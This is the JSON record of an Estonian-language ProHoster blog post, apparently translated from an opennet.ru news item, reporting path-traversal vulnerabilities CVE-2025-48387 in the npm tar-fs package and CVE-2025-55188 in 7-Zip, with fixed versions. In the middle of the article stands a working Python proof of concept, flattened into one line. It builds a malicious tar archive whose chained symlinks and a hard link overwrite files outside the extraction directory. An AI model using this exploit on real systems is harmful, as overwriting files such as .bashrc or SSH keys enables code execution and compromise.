{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"Vulnerabilities in tar-fs and 7-Zip, allowing files to be written outside the base directory","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

NPM-pakendis tar-fs on tuvastatud haavatavus (CVE-2025-48387), mis v\u00f5imaldab spetsiaalselt vormindatud tar-arhiivi lahtipakkimisel kirjutada faile igasse failis\u00fcsteemi kohta, mis ei ole piiratud kaustaga, kuhu lahtipakkimist teostatakse (kui lubavad praeguse kasutaja \u00f5igused). Haavatavust saab samuti kasutada olemasolevate failide \u00fclekirjutamiseks, n\u00e4iteks v\u00f5ib kodukausta faile, nagu «.ssh\/id_rsa» v\u00f5i «.bashrc», \u00fclekirjutada, et k\u00e4ivitada oma kood s\u00fcsteemis. <\/p>\n

Probleemile on m\u00e4\u00e4ratud kriitiline ohutase, arvestades, et pakett tar-fs on 23 miljonit allalaadimist n\u00e4dalas ja seda kasutatakse s\u00f5ltuvusena 1155 projektis. Haavatavus on k\u00f5rvaldatud versioonides 3.0.9, 2.1.3 ja 1.16.5, mis loodi mais, kuid teave haavatavuse kohta avaldati vaid peaaegu 3 kuud hiljem. <\/p>\n

Haavatavus tuleneb ebat\u00e4iendavatest kontrollidest arhiivis olevaid s\u00fcmboolseid ja k\u00f5vasid linke osas, mis puudutab nende v\u00e4ljap\u00e4\u00e4su sihtkaustast lahtipakkimise jaoks. Kontrollide \u00fcletamiseks kasutatakse kahte s\u00fcmboolset linki: esimene osutab arhiivi lahtipakkimise juurkatalooge («.»), teine luuakse esimese s\u00fcmboolse lingi suhtes ja kasutab nimes s\u00fcmboleid «..\/» v\u00e4ljap\u00e4\u00e4suks baaskaustast. N\u00e4iteks esimene link «noop\/noop\/noop» osutab «.», samas kui teine «noop\/noop\/noop\/..\/..\/..\/» avatakse kui «.\/..\/..\/..\/». Failide \u00fclekirjutamise korraldamiseks arhiivis v\u00f5ib luua k\u00f5va lingi, mis viitab v\u00e4lisele failile teise s\u00fcmboolse lingi suhtes. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop\/» * 15) + («..\/» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root\/home\/username\/flag\/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root\/home\/username\/flag\/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n

Sarnane haavatavus (CVE-2025-55188) on tuvastatud arhiivija 7-Zip. Failide kirjutamiseks v\u00e4ljaspool baaskausta saab 7-Zipis samuti kasutada s\u00fcmboolseid linke, mille failiteed sisaldavad j\u00e4rjestust «..\/». Probleemi saab \u00e4ra kasutada 7-Zipiga mis tahes arhiivide lahtipakkimisel, mis toetavad s\u00fcmboolseid linke, n\u00e4iteks zip, tar, 7z ja rar. Probleem on lahendatud versioonis 7-Zip 25.01.
\n
Allikas: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 NPM-\u043f\u0430\u043a\u0435\u0442\u0435 tar-fs \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-48387), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e tar-\u0430\u0440\u0445\u0438\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043b\u044e\u0431\u044b\u0435 \u0447\u0430\u0441\u0442\u0438 \u0424\u0421, \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0430 (\u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f). \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043d\u044b \u0444\u0430\u0439\u043b\u044b «.ssh\/id_rsa» \u0438\u043b\u0438 «.bashrc» \u0432 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-140951","post","type-post","status-publish","format-standard","hentry","category-novosti-interneta"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Haavatavused tar-fs ja 7-Zip, mis v\u00f5imaldavad faile kirjutada baaskataloogist v\u00e4ljaspool | ProHoster","description":"NPM-pakendis tar-fs on leitud haavatavus (CVE-2025-48387), mis v\u00f5imaldab spetsiaalselt vormistatud tar-arhiivi \u00fclespakkimisel faile kirjutada failis\u00fcsteemi k\u00f5ikidesse kohtadesse, mis ei ole piiratud katalooge, kuhu \u00fclespakitakse (nii nagu praeguse kasutaja \u00f5igused lubavad). Haavatavust saab kasutada ka olemasolevate failide \u00fcle kirjutamiseks, n\u00e4iteks s\u00fcsteemis koodi k\u00e4itamise korral, v\u00f5ivad failid \".ssh\/id_rsa\" v\u00f5i \".bashrc\" olla \u00fcle kirjutatud.","canonical_url":"https:\/\/prohoster.info\/et\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"et_EE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 tar-fs \u0438 7-Zip, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0431\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 | ProHoster","og:description":"\u0412 NPM-\u043f\u0430\u043a\u0435\u0442\u0435 tar-fs \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-48387), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e tar-\u0430\u0440\u0445\u0438\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043b\u044e\u0431\u044b\u0435 \u0447\u0430\u0441\u0442\u0438 \u0424\u0421, \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0430 (\u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f). \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043d\u044b \u0444\u0430\u0439\u043b\u044b ".ssh\/id_rsa" \u0438\u043b\u0438 ".bashrc" \u0432","og:url":"https:\/\/prohoster.info\/et\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2025-08-18T09:12:07+00:00","article:modified_time":"2025-08-18T09:12:07+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"140951","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-23 14:20:20","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2026-01-23 14:20:20","updated":"2026-01-23 14:20:20"},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/140951","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/comments?post=140951"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/140951\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media?parent=140951"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/categories?post=140951"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/tags?post=140951"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}